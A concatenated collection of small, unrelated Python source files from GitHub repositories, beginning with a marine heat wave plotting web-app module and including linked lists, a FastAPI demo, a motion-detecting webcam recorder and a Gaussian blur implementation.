if idatesCold is not None:\r\n # Plot MHWs\r\n for i, (t0, t1) in enumerate(zip(idatesCold, edatesCold)):\r\n t0, t1 = datetime.strptime(t0, '%Y-%m-%d'), datetime.strptime(t1, '%Y-%m-%d')\r\n year0, year1 = t0.year, t1.year\r\n # Get MHW dates as strings\r\n str0 = (t0-timedelta(hours=24)).strftime('2020-%m-%d')\r\n str1 = t1.strftime('2020-%m-%d')\r\n \r\n visible = [True if year1 == years[-1] else False][0]\r\n if year0 == year1: \r\n fig.add_trace(go.Scatter(\r\n name=f'CS-{year0}-{i}', showlegend=False, visible=visible,\r\n x=[str0, str0, str1, str1, str0],\r\n y=[min_y-1, max_y+1, max_y+1, min_y-1, min_y-1],\r\n fill=\"toself\", fillcolor='rgba(0, 123, 167, 0.25)',\r\n line=dict(width=0.25, color='rgba(0, 123, 167, 0.25)')))\r\n \r\n elif year1 - year0 == 1:\r\n fig.add_trace(go.Scatter(\r\n name=f'CS-{year0}-{i}', showlegend=False, visible=False,\r\n x=[str0, str0, f'2020-12-31', f'2020-12-31', str0],\r\n y=[min_y-1, max_y+1, max_y+1, min_y-1, min_y-1],\r\n fill=\"toself\", fillcolor='rgba(0, 123, 167, 0.25)',\r\n line=dict(width=0.25, color='rgba(0, 123, 167, 0.25)')))\r\n \r\n fig.add_trace(go.Scatter(\r\n name=f'CS-{year1}-{i}', showlegend=False, visible=visible,\r\n x=[f'2020-01-01', f'2020-01-01', str1, str1, f'2020-01-01'],\r\n y=[min_y-1, max_y+1, max_y+1, min_y-1, min_y-1],\r\n fill=\"toself\", fillcolor='rgba(0, 123, 167, 0.25)',\r\n line=dict(width=0.25, color='rgba(0, 123, 167, 0.25)')))\r\n \r\n else:\r\n raise RuntimeError('Cold Spell spanning multiple years???') \r\n \r\n fig.update_layout(title=f'OSTIA SST %.3fºN %.3fºW %s' % (latitude, abs(longitude), buoyname),\r\n title_x=0.5,\r\n font=dict(family=\"Calibri\", size=18),\r\n yaxis_title='°C',\r\n yaxis_tickformat='.1f',\r\n xaxis_tickvals=[f'2020-%02d-01' % M for M in range(1, 13)],\r\n xaxis_tickformat='%B',\r\n xaxis_range=[time[0], time[-1]],\r\n yaxis_range=[min_y, max_y],\r\n )\r\n \r\n # Create and add slider\r\n steps = []\r\n for i in years:\r\n # Show all traces\r\n step = dict(\r\n method='restyle',\r\n args=['visible', [True] * len(fig.data)],\r\n label=str(i),\r\n )\r\n \r\n for j, trace in enumerate(fig.data):\r\n name = trace.name\r\n if name.startswith('B') and int(name[-4::]) != i:\r\n step['args'][1][j] = False\r\n if name.startswith('Y') and int(name[-4::]) != i:\r\n step['args'][1][j] = False\r\n if name.startswith('MHW-') and int(name[4:8]) != i:\r\n step['args'][1][j] = False\r\n if name.startswith('CS-') and int(name[3:7]) != i:\r\n step['args'][1][j] = False\r\n \r\n # Add step to step list\r\n steps.append(step)\r\n\r\n sliders = [dict(\r\n active=len(years)-1,\r\n currentvalue={\"prefix\": \"\", \"xanchor\": \"center\"},\r\n pad={\"t\": 15},\r\n steps=steps\r\n )]\r\n\r\n fig.update_layout(\r\n sliders=sliders\r\n )\r\n \r\n fig = json.dumps(fig, cls=plotly.utils.PlotlyJSONEncoder)\r\n \r\n return fig\r\n\r\ndef cleancsv():\r\n ''' Remove old CSV files from temporary folder '''\r\n\r\n files = glob.glob('/tmp/*.csv')\r\n if len(files) > 100:\r\n for f in files:\r\n os.remove(f)\r\n\r\ndef sst2csv(lon, lat, time, sst):\r\n ''' Write CSV of SST time series '''\r\n\r\n # Set CSV file name\r\n filename = f'/tmp/csv-sst-%.3fN-%.3fW.csv' % (lat, abs(lon))\r\n\r\n with open(filename, 'w') as f:\r\n # Write header\r\n f.write('Date,SST (ºC)\\n')\r\n # Write data line by line\r\n for t, temp in zip(time, sst):\r\n f.write(f'%s,%.2f\\n' % (t.strftime('%Y-%m-%d'), temp))\r\n\r\n return filename\r\n\r\ndef clim2csv(lon, lat, time, clim, pc10, pc90):\r\n ''' Write CSV of climatology '''\r\n\r\n # Set CSV file name\r\n filename = f'/tmp/csv-clim-%.3fN-%.3fW.csv' % (lat, abs(lon))\r\n\r\n with open(filename, 'w') as f:\r\n # Write header\r\n f.write('Day,PCT.10 (ºC),mean (ºC),PCT.90 (ºC)\\n')\r\n # Write data line by line\r\n for t, pct10, avg, pct90 in zip(time, pc10, clim, pc90):\r\n f.write(f'%s,%.2f,%.2f,%.2f\\n' % (datetime.strptime(t, '%Y-%m-%d').strftime('%d-%b'),\r\n pct10, avg, pct90))\r\n\r\n return filename\r\n\r\ndef mhw2csv(lon, lat, T0, T1, D, I, categ, mode='hot'):\r\n ''' Write CSV of MHWs '''\r\n\r\n # Set CSV file name\r\n if mode == 'hot':\r\n filename = f'/tmp/csv-mhw-%.3fN-%.3fW.csv' % (lat, abs(lon))\r\n elif mode == 'cold':\r\n filename = f'/tmp/csv-cs-%.3fN-%.3fW.csv' % (lat, abs(lon))\r\n\r\n with open(filename, 'w') as f:\r\n # Write header\r\n f.write('Event ID,start,end,duration (days),intensity (ºC),category\\n')\r\n # Write data line by line\r\n for j, (t0, t1, d, i, c) in enumerate(zip(T0, T1, D, I, categ)):\r\n f.write(f'%03d,%s,%s,%d,%.2f,%d\\n' % (j, t0, t1, d, i, c))\r\n\r\n return filename\r\n\r\ndef process_extreme_events(file, lonGrid, latGrid, mode='hot'):\r\n ''' Process extreme events from Hobday container '''\r\n \r\n one = np.array([1])\r\n \r\n with Dataset(file, 'r') as nc:\r\n \r\n # Read longitude\r\n lon = nc.variables['longitude'][:] \r\n # Read latitude\r\n lat = nc.variables['latitude'][:] \r\n # Read start times\r\n t0 = nc.variables['idate'][:] \r\n # Read end times\r\n t1 = nc.variables['edate'][:]\r\n # Read duration\r\n duration = nc.variables['duration'][:]\r\n # Read intensity\r\n intensity = nc.variables['intensity'][:]\r\n # Read category\r\n categ = nc.variables['category'][:]\r\n \r\n # Get indexes of events occurring at the selected site\r\n I = np.where( np.logical_and(\r\n abs(lon - lonGrid) < 0.005,\r\n abs(lat - latGrid) < 0.005 ) ) [0]\r\n \r\n if not np.array_equal(one, np.unique(I[1::] - I[0:-1])):\r\n raise RuntimeError('Point is on land')\r\n \r\n # Subset\r\n t0, t1 = t0[I], t1[I]\r\n duration = duration[I]\r\n intensity = intensity[I]\r\n categ = categ[I]\r\n\r\n # Convert datetimes to strings\r\n t0 = [datetime.fromtimestamp(i).strftime('%Y-%m-%d') for i in t0]\r\n t1 = [datetime.fromtimestamp(i).strftime('%Y-%m-%d') for i in t1]\r\n \r\n # Write CSV of marine heat waves\r\n if mode == 'hot':\r\n csvfile = mhw2csv(lonGrid, latGrid, t0, t1, duration, intensity, categ)\r\n elif mode == 'cold':\r\n csvfile = mhw2csv(lonGrid, latGrid, t0, t1, \r\n duration, intensity, categ, mode='cold')\r\n\r\n return t0, t1, csvfile\r\n\r\ndef mhw_historical(lon, lat, display_mhw, display_cs, buoy):\r\n\r\n cleancsv()\r\n \r\n ''' Read configuration options '''\r\n config = configuration()\r\n \r\n ''' Read buoy series, if needed '''\r\n buoydata, csvinsitu = None, None\r\n if buoy:\r\n ncname, varname = buoy\r\n # Set buoy name\r\n buoyname = ncname.replace('-', ' ')\r\n # Set CSV file name\r\n csvinsitu = f'/data/csv/{ncname}.csv'\r\n # Set NetCDF full path\r\n ncname = f'/data/netcdf/{ncname}.nc'\r\n # Open NetCDF (downloaded from ERDDAP)\r\n with Dataset(ncname, 'r') as nc:\r\n # Read buoy time\r\n tbuoy = num2date(nc.variables['time'][:],\r\n nc.variables['time'].units)\r\n # Read buoy seawater temperature\r\n insitu = nc.variables[varname][:]\r\n # Mask missing values\r\n insitu[insitu < 0] = np.nan\r\n\r\n ''' Divide buoy data by years '''\r\n # Get the year from each time in buoy series\r\n buoyYears = np.array([i.year for i in tbuoy])\r\n # Refer all times to 2020, as 2020 is the only year in the x-axis\r\n tbuoy = np.array([i.strftime('2020-%m-%d %H:%M') for i in tbuoy])\r\n # Get a list of the different years in the series\r\n buoyY = np.unique(buoyYears)\r\n # Separate in-situ temperature for each year in the series\r\n insitu = [insitu[buoyYears == i] for i in buoyY]\r\n # Separate buoy time for each year in the series\r\n timeByYear = [tbuoy[buoyYears == i] for i in buoyY]\r\n\r\n # Pass the following to the plotting function:\r\n # years of buoy data, in-situ temperature and buoy name\r\n buoydata = (buoyY, timeByYear, insitu, f'({buoyname})')\r\n\r\n ''' Read SST '''\r\n agg = config.get('sstnc')\r\n with Dataset(agg, 'r') as nc:\r\n # Read longitude\r\n x = nc.variables['longitude'][:]\r\n idx = np.argmin(abs(x - lon))\r\n # Read latitude\r\n y = nc.variables['latitude'][:]\r\n idy = np.argmin(abs(y - lat))\r\n # Read time\r\n t = nc.variables['time']\r\n t = num2date(t[:], t.units)\r\n # Read SST\r\n sst = nc.variables['analysed_sst'][:, idy, idx] - 273.15 # Kelvin to Celsius\r\n \r\n if sum(np.isnan(sst)) == len(sst):\r\n raise RuntimeError('Point is on land')\r\n \r\n # Get longitude and latitude on grid\r\n lonGrid, latGrid = x[idx], y[idy]\r\n \r\n # Write CSV of SST series\r\n csvsst = sst2csv(lonGrid, latGrid, t, sst)\r\n \r\n ''' Divide by years '''\r\n years = np.array([i.year for i in t])\r\n Y = np.unique(years)\r\n SST = [sst[years == i] for i in Y]\r\n \r\n ''' Read climatology '''\r\n clm = config.get('climnc')\r\n with Dataset(clm, 'r') as nc:\r\n # Read climatology\r\n seas = nc.variables['seas'][:, idy, idx]\r\n # Read PCT90\r\n pc90 = nc.variables['PCT90'][:, idy, idx]\r\n # Read PCT10\r\n pc10 = nc.variables['PCT10'][:, idy, idx]\r\n \r\n # Get the 29-Feb climatological value for a leap year\r\n leap = .5 * (seas[58] + seas[59])\r\n seas = np.hstack((seas[0:59], leap, seas[59::]))\r\n leap = .5 * (pc90[58] + pc90[59])\r\n pc90 = np.hstack((pc90[0:59], leap, pc90[59::]))\r\n leap = .5 * (pc10[58] + pc10[59])\r\n pc10 = np.hstack((pc10[0:59], leap, pc10[59::]))\r\n \r\n ''' Read MHWs '''\r\n if display_mhw:\r\n\r\n t0, t1, csvmhw = process_extreme_events(config.get('mhwnc'),\r\n lonGrid, latGrid) \r\n \r\n else:\r\n t0, t1, csvmhw = None, None, None\r\n \r\n ''' Read Cold Spells '''\r\n if display_cs:\r\n \r\n t0cold, t1cold, csvcs = process_extreme_events(config.get('coldnc'),\r\n lonGrid, latGrid, mode='cold') \r\n\r\n else:\r\n t0cold, t1cold, csvcs = None, None, None\r\n\r\n ''' Set x-axis: the days in a leap year '''\r\n idate, edate = datetime(2020, 1, 1), datetime(2021, 1, 1)\r\n time = []\r\n while idate < edate:\r\n time.append(idate.strftime('%Y-%m-%d'))\r\n idate += timedelta(days=1)\r\n \r\n # Write CSV of climatology\r\n csvclim = clim2csv(lonGrid, latGrid, time, seas, pc10, pc90)\r\n\r\n ''' Get y-axis range '''\r\n min_y, max_y = float(config.get('min_y')), float(config.get('max_y'))\r\n \r\n ''' Plot '''\r\n figure = plot_mhw(lonGrid, latGrid, time, SST, Y, seas, pc10, pc90, \r\n min_y, max_y, idates=t0, edates=t1, idatesCold=t0cold, edatesCold=t1cold,\r\n buoy=buoydata)\r\n\r\n return figure, csvsst, csvclim, csvmhw, csvcs, csvinsitu\r\n","repo_name":"IrishMarineInstitute/Marine-Heat-Waves","sub_path":"webapp/mhw_historical.py","file_name":"mhw_historical.py","file_ext":"py","file_size_in_byte":16623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27366501490","text":"# coding=utf-8\nclass Node:\n def __init__(self, item):\n self.data = item\n self.next = None\n\n def getData(self):\n return self.data\n\n def getNext(self):\n return self.next\n\n def setData(self, newdata):\n self.data = newdata\n\n def setNext(self, newnext):\n self.next = newnext\n\n\nclass Unorderedlist:\n def __init__(self):\n self.head = None\n\n def isEmpty(self):\n return self.head == None\n\n def size(self):\n count = 0\n current = self.head\n\n while current != None:\n count = count + 1\n current = current.getNext()\n\n return count\n\n def index(self, item):\n count = 0\n current = self.head\n found = False\n\n while current.getData() != item:\n if current.getData() == None:\n return False\n else:\n count = count + 1\n current = current.getNext()\n else:\n return count\n\n\n def add(self, item):\n current = self.head\n previous = None\n stop = False\n\n while current != None and not stop:\n if current.getData() > item:\n stop = True\n else:\n previous = current\n current = current.getNext()\n\n temp = Node(item)\n if previous == None:\n temp.setNext(self.head)\n self.head = temp\n else:\n previous.setNext(temp)\n temp.setNext(current)\n\n\n def search(self, item):\n current = self.head\n found = False\n stop = False\n while current != None and not found and not stop:\n if current.getData() == item:\n found = True\n else:\n if current.getData() > item:\n stop = True\n else:\n current = current.getNext()\n\n return found\n\n\n def remove(self, item):\n current = self.head\n previous = None\n exit = True\n\n while current.getData() != item and exit:\n if current.getData() < item:\n previous = current\n current = current.getNext()\n else:\n exit = False\n return exit\n if previous == None:\n self.head = current.getNext()\n else:\n previous.setNext(current.getNext())\n\n\n def pop(self):\n current = self.head\n previous = None\n\n if self.head == None:\n self.head = temp\n return False\n\n while current.getNext() != None:\n previous = current\n current = current.getNext()\n else:\n previous.setNext(None)\n\n\n\n\n\nif __name__ == '__main__':\n mylist = Unorderedlist()\n mylist.add(31)\n mylist.add(93)\n mylist.add(54)\n print(mylist.size())\n\n mylist.remove(54)\n print(mylist.size())\n\n\n\n","repo_name":"WALL2049/python-demo","sub_path":"Line/Orderedlist.py","file_name":"Orderedlist.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8329239749","text":"from fastapi import FastAPI\n\napp = FastAPI()\n\npokemon_list = {\n '1': {'name': 'Bulbasaur', 'Type': 'Grass', 'Previous': None, \"evolve_level\": 16},\n '2': {'name': 'Ivysaur', 'Type': 'Grass', 'Previous': '1', \"evolve_level\": 36},\n '3': {'name': 'Venasaur', 'Type': 'Grass', 'Previous': '2', \"evolve_level\": None},\n '4': {'name': 'Charmander', 'Type': 'Fire', 'Previous': None, \"evolve_level\": 16},\n '5': {'name': 'Charmeleon', 'Type': 'Fire', 'Previous': '4', \"evolve_level\": 36}\n}\n\n@app.get(\"/\")\nasync def list_all_pokemon():\n return \"Welcome to the frontpage! Go to /pokemon to watch more.\"\n\n@app.get(\"/pokemon\")\nasync def read_all_books():\n response = {\"message\": \"You entered the /pokemon dir\", \n \"pokelist\": pokemon_list}\n return response\n\n@app.get(\"/pokemon/{number}\") # Number is a path parameter. Lets try it in :8000/docs!\nasync def read_book(number: str):\n return pokemon_list[number]\n\n@app.post(\"/\")\nasync def add_pokemon(pokemon_number: str, pokemon_name: str):\n pokemon_list[pokemon_number] = pokemon_name\n return pokemon_list[pokemon_number]\n\n\"\"\"\nQuery params vs Path Params\n\nhttps://fastapi.tiangolo.com/tutorial/query-params/\n\nWhen we declare a parameter in the function (async def line) that is not declared as a Path Parameter \n(within the curly braces) in the app.get(...) decorator, FastAPI interprets it as a query param authomatically\n\n\nExample\n\n@app.get(\"/assignment/\") \nasync def read_book_assignment(book_name: str): \n return book_list[book_name]\n\nHere book_name is in the function declaration but is not part of the path parameters, so it's interpreted as\na query parameter. The default values of the query parameters can be set to None in order to say that they are optional.\n\n@app.get(\"/assignment/{book_name}\") <----- Here the book_name is a path parameter \nasync def read_book_assignment(book_name: str): \n return book_list[book_name]\n\n\"\"\" ","repo_name":"lucasbm47/fast-api-course","sub_path":"v1-project/books-main.py","file_name":"books-main.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35951682289","text":"import matplotlib.pyplot as plt\n\nlr_step = 0.1\nbase_lr = 1\n\ndef get_loss(log_file):\n losses_list = []\n losses = []\n pre_lr = base_lr\n count = 0\n with open(log_file) as f:\n for line in f.readlines():\n if not 'loss: ' in line:\n continue\n count += 1\n loss = float(line.strip().split(':')[-1].strip())\n lr = float(line.strip().split('lr:')[1].split(',')[0].strip())\n if abs(pre_lr * lr_step - lr) < 1e-10:\n losses_list.append(losses)\n losses = []\n pre_lr = lr\n losses.append(loss)\n losses_list.append(losses)\n return losses_list, count\n\ndef draw_loss(losses_list, count):\n plt.figure()\n plt.xlim(0, count)\n #plt.ylim(0, 7)\n curr = 0\n colors = ['b', 'g', 'r', 'c', 'm', 'y', 'k']\n for idx, losses in enumerate(losses_list):\n x = list(range(curr, curr + len(losses)))\n plt.plot(x, losses, colors[idx])\n #plt.hold(True)\n curr += len(losses)\n #plt.show()\n plt.savefig('loss.jpg')\n\n\n#file_path = '/mnt/data1/huangchuanhong/checkpoints/dist_face_pytorch/work_dirs/25w_regnetp_circleloss_nbase_1top_mt_244_243_248_251/20200526_075418.log'\n#file_path = '/mnt/data1/huangchuanhong/checkpoints/dist_face_pytorch/work_dirs/97w_regnet_amsoftmax_nbase_1top_mt_244_243_248_251/20200512_001535.log'\nfile_path = '/mnt/data1/huangchuanhong/checkpoints/dist_face_pytorch/work_dirs/25w_regnet_circleloss_nbase_1top_mt_249_244_245_246_wd_0_00001/20200603_030751.log'\nlosses_list, count = get_loss(file_path)\ndraw_loss(losses_list, count)\n\n","repo_name":"huangchuanhong/dist_face_pytorch","sub_path":"tools/draw_loss.py","file_name":"draw_loss.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31310461204","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Event',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('date_time', models.DateTimeField()),\n ('location', models.CharField(max_length=250)),\n ('number_of_guests', models.IntegerField()),\n ],\n ),\n migrations.CreateModel(\n name='Guest',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('guest_name', models.CharField(max_length=50)),\n ('guest_email', models.EmailField(max_length=254)),\n ('guest_task', models.CharField(blank=True, max_length=50)),\n ('related_event', models.ForeignKey(to='goha.Event')),\n ],\n ),\n migrations.CreateModel(\n name='Host',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('host_name', models.CharField(max_length=50)),\n ('host_email', models.EmailField(max_length=254)),\n ('host_choice', models.CharField(choices=[('SA', 'Salty'), ('SW', 'Sweet'), ('DR', 'Drink'), ('IDC', 'I dont care')], max_length=3)),\n ('related_event', models.ForeignKey(to='goha.Event')),\n ],\n ),\n ]\n","repo_name":"ubracklow/GoldenHands","sub_path":"goha/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"10961722104","text":"not1 = float(input('qual a sua nota '))\r\nnot2 = float(input('deigite outra nota '))\r\nmed = (not1 + not2)/2\r\n\r\nif med < 5:\r\n print('REPROVADO')\r\nelif med >= 7:\r\n print('APROVADO')\r\nelse:\r\n print('RECUPERAÇAO')","repo_name":"leonardonm15/meu-processo-de-aprendizagem","sub_path":"exercicios/desafio040.py","file_name":"desafio040.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34213802339","text":"import sys\nimport os\nimport time\nimport signal\nimport numpy as np\nimport cv2 as cv\nimport function_module as c_module\n\n\ndef stop_recording(sigum, stack):\n '''Signal handler for SIGALARM.'''\n global is_recording\n global output\n is_recording = False\n output.release()\n\n\ndef stop_program(sigum, stack):\n '''Signal handler for SIGINT.'''\n global is_running\n print('\\nStopping the program')\n is_running = False\n\n\nOUTPUT_DIRECTORY = 'recordings'\nMOTION_THRESHOLD = 4500\nframe_count = 0\nis_running = True\nis_recording = False\n\ncapture = cv.VideoCapture(0)\ncapture.set(cv.CAP_PROP_FRAME_WIDTH, 1280)\ncapture.set(cv.CAP_PROP_FRAME_HEIGHT, 720)\n\nfourcc = cv.VideoWriter_fourcc(*'DIVX')\noutput = None\n\nfgbg = cv.createBackgroundSubtractorMOG2(300, 400, True)\n\nc_module.generate_folder(OUTPUT_DIRECTORY)\nos.chdir(OUTPUT_DIRECTORY)\n\nsignal.signal(signal.SIGINT, stop_program)\nsignal.signal(signal.SIGALRM, stop_recording)\n\nif not capture.isOpened():\n print('Cannot open the camera')\n sys.exit(1)\n\ntime.sleep(6)\n\nprint('Starting to watch, press \"Ctrl + C\" at any time to exit the program')\n\nwhile is_running:\n ret, frame = capture.read()\n if not ret:\n print(\"Can't receive frame (stream end?). Exiting ...\")\n break\n\n frame_count += 1\n fgmask = fgbg.apply(frame)\n non_zero_frames = np.count_nonzero(fgmask)\n\n #If something is moving\n if (not is_recording\n and frame_count > 1\n and non_zero_frames > MOTION_THRESHOLD):\n output = cv.VideoWriter(\n c_module.return_recording_name(), fourcc,\n 10.0, (1280, 720))\n is_recording = True\n signal.alarm(6)\n print('Something captured at: '\n + time.strftime(\"%H:%M:%S\", time.strptime(time.ctime()))\n + '.')\n \n elif is_recording:\n output.write(frame)\n\n if cv.waitKey(1) == ord('q'):\n break\n\ncapture.release()\noutput.release()\ncv.destroyAllWindows()\n","repo_name":"Excertor/little-cam-catcher","sub_path":"cam_catcher.py","file_name":"cam_catcher.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3819683402","text":"from typing import Optional\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\nclass Image:\n \"\"\"\n Wrapper class to implement exception raising for negative index access in numpy arrays.\n \"\"\"\n #TODO: implement support for slices in this wrapper class. Right now I don't think I'll need it but I probably should anyway\n def __init__(self, arr:np.ndarray):\n self.array = arr\n\n def __getitem__(self, indices):\n if min(indices) < 0:\n raise IndexError('Negative indices are invalid.')\n else:\n return self.array[indices]\n\n def __setitem__(self, indices, value):\n if min(indices) < 0:\n raise IndexError('Negative indices are invalid.')\n else:\n self.array[indices] = value\n\n\nclass Kernel:\n\n def __init__(self, data: Optional[np.ndarray] = None):\n if data is None:\n self.data = None\n self.total = None\n else:\n self.data = data\n self.total = data.sum()\n\n def convolve(self, image:Image) -> Image:\n \"\"\"\n Applies the filter contained in this kernel.\n\n :param image: The image to filter.\n :return: The filtered image.\n \"\"\"\n if self.data is None or self.total is None:\n raise ValueError('Invalid kernel state. Did you initialize the kernel?')\n\n new_image = np.empty(image.array.shape, np.uint8)\n for y in range(image.array.shape[0]):\n print(y)\n for x in range(image.array.shape[1]):\n new_image[y, x] = self.sumProduct(image, x, y)\n return Image(new_image)\n\n def sumProduct(self, image:Image, image_x, image_y) -> float:\n \"\"\"\n Helper function for convolve().\n Applies one step in the convolution process. Given a location on the image, multiplies each pixel with its\n corresponding constant in the kernel, then adds all those results.\n\n :param image: The image that is being convolved.\n :param image_x: The x position of the center of the kernel.\n :param image_y: The y position of the center of the kernel.\n :return: The sum of the products of the kernel and the image pixel intensities.\n \"\"\"\n kernel_height = self.data.shape[0]\n kernel_width = self.data.shape[1]\n x_of_leftmost_pixel_in_kernel = image_x - int(kernel_width/2)\n y_of_top_pixel_in_kernel = image_y - int(kernel_height / 2)\n running_total = 0\n for y in range(kernel_height):\n for x in range(kernel_width):\n try:\n running_total += self.data[y,x] * image[y_of_top_pixel_in_kernel + y, x_of_leftmost_pixel_in_kernel + x]\n except IndexError:\n continue # I chose to ignore non-existent pixels, but you could easily add code here to get data from the other side of the image or something\n return running_total/self.total # normalize\n\n\ndef generateSeparatedGaussianKernel(std_dev) -> Kernel:\n \"\"\"\n Creates a kernel suitable for using to perform a Gaussian blur. The generated kernel will have dimensions\n ceil(6*sigma) x 1. To perform a blur you will have to convolve this kernel with the image twice: once as it is and\n once with the kernel transposed on itself.\n\n :param std_dev:\n The standard deviation of the Gaussian distribution used in calculating the constants in the kernel.\n Lower numbers mean fewer pixels are used in each calculation, which means less blurring.\n The radius of the blur is equal to ceil(3*std_dev).\n :return: A populated kernel with data suitable for performing Gaussian blurs.\n \"\"\"\n height = 1\n width = int(np.ceil(std_dev * 6))\n if width % 2 == 0:\n width += 1 # I haven't tried it but I think my code breaks with a kernel with any dimension being an even number\n tempArr = np.empty((height, width), dtype=np.float64)\n\n for x in range(int(-width/2), int(width/2) + 1):\n tempArr[0, x + int(width/2)] = (1/math.sqrt(2*math.pi*std_dev**2))*math.exp(-(x**2)/(2*std_dev**2))\n\n return Kernel(tempArr)\n\nimg = plt.imread('flower.jpg')\nplt.imshow(img)\nplt.axis('off')\nplt.show()\n\n\nk = generateSeparatedGaussianKernel(3)\n\nr = Image(img[:,:,0])\ng = Image(img[:,:,1])\nb = Image(img[:,:,2])\nprint('starting')\nr = k.convolve(r)\nk.data = k.data.T\nr = k.convolve(r)\nprint('r done')\ng = k.convolve(g)\nk.data = k.data.T\ng = k.convolve(g)\nprint('g done')\nb = k.convolve(b)\nk.data = k.data.T\nb = k.convolve(b)\nprint('b done')\n\n\nr = r.array\ng = g.array\nb = b.array\n\nnew_img = np.array([r.T, g.T, b.T]).T\nplt.imshow(new_img)\nplt.axis('off')\nplt.show()\nprint()\n","repo_name":"dmrem/GaussianBlur","sub_path":"GaussianBlur.py","file_name":"GaussianBlur.py","file_ext":"py","file_size_in_byte":4665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4211901473","text":"#! python3\n\n# This module is created for files_greater_than_threshold_finder.py\n# to be able to switch between different sorting solutions without changing the main code\n\n\n# initial solution with separate list creation\ndef sort_results_through_new_list(files_list):\n \"\"\"\n Sorts files list in desc order by the file size.\\n\n This is done by creating a separate empty list and filling it in with max size values from the initial list.\n While sorted values are recorded into the new list, they are removed from the old list to save resources.\n :param files_list: list of lists\n :return: sorted files list\n \"\"\"\n\n # list should not be empty to do the order\n if len(files_list) == 0:\n return\n\n # creating new list with ordered results\n sorted_files_list = []\n\n while True:\n if len(files_list) > 1: # list must me over 1 sub-list to sort it\n max_size = 0\n max_size_index = 0\n\n for i in range(len(files_list)): # going through each sub-list\n if files_list[i][1] > max_size: # evaluating each [1] value\n max_size = files_list[i][1] # finding max size in a current list\n max_size_index = i\n\n sorted_files_list.append(files_list[max_size_index]) # recording max size sub-list in a new list after iterating through whole old list length\n del files_list[max_size_index] # removing max value sub-list from the old list\n\n else:\n sorted_files_list.append(files_list[0]) # adding last sub-list to the new list\n del files_list[0] # removing last sub-list from the old list\n return sorted_files_list\n\n\n# more advance solution with lambda usage\ndef sort_results_with_lambda(files_list):\n \"\"\"\n Sorts files list in desc order by the file size using sorted() and lambda.\n :param files_list: list of lists\n :return: sorted files list\n \"\"\"\n\n sorted_results = sorted(files_list, key=lambda x: x[1], reverse=True)\n return sorted_results\n\n\n# solution with using bubble sort algorithm (the biggest value bubbles up)\ndef sort_results_with_bubble_sort(files_list):\n \"\"\"\n Sorts files list in desc order by the file size using bubble sort algorithm.\n :param files_list: list of lists\n :return: sorted files list\n \"\"\"\n\n while True:\n change_happened = False\n\n for i in range(len(files_list)-1):\n if files_list[i][1] < files_list[i+1][1]:\n temp = files_list[i]\n files_list[i] = files_list[i+1]\n files_list[i+1] = temp\n change_happened = True\n\n if not change_happened:\n return files_list\n\n\n# method to switch between solutions by commenting out non-required method\ndef sort_results_by_size(files_to_sort):\n # return sort_results_through_new_list(files_to_sort)\n # return sort_results_with_lambda(files_to_sort)\n return sort_results_with_bubble_sort(files_to_sort)\n\n\nif __name__ == \"__main__\":\n\n files_to_sort = [[\"first\", 40], [\"second\", 60], [\"third\", 1], [\"forth\", 200]]\n x = sort_results_by_size(files_to_sort)\n print(x)\n\n\n","repo_name":"valievav/automate_the_boring_stuff_with_python","sub_path":"Chapter_09_Organizing_files/find_files_greater_than_threshold_sorting_solutions.py","file_name":"find_files_greater_than_threshold_sorting_solutions.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"38410000663","text":"from PyQt5.QtWidgets import QWidget, QDesktopWidget\nfrom PyQt5 import QtCore\nfrom ui.occupied import Ui_Occupied\n\nclass OccupedDialog(QWidget):\n\n #Init Function\n def __init__(self, login):\n super().__init__()\n self.occupiedUi = Ui_Occupied()\n self.occupiedUi.setupUi(self)\n self.login = login\n self.center()\n self.setCursor(QtCore.Qt.BlankCursor)\n self.setWindowFlags(QtCore.Qt.FramelessWindowHint | QtCore.Qt.WindowStaysOnTopHint)\n self.setWindowModality(QtCore.Qt.ApplicationModal)\n\n self.occupiedUi.btn_back.clicked.connect(self.backButton)\n\n def center(self):\n self.qr = self.frameGeometry()\n self.cp = QDesktopWidget().availableGeometry().center()\n self.qr.moveCenter(self.cp)\n self.move(self.qr.topLeft())\n\n def backButton(self):\n self.login.show()\n self.hide()","repo_name":"Haffi86/GUI","sub_path":"lib/occupied_dialog/occupied_dialog.py","file_name":"occupied_dialog.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18285316966","text":"import re\nimport datetime\nfrom contextlib import suppress\n\n\nDateTime = datetime.datetime\nDate = datetime.date\nTime = datetime.time\nTimeDelta = datetime.timedelta\n\ntoday = datetime.date.today\nnow = datetime.datetime.now\n\nMAX_DATE = datetime.date.max\nMIN_DATE = datetime.date.min\n\nMAX_DT = datetime.datetime.max\nMIN_DT = 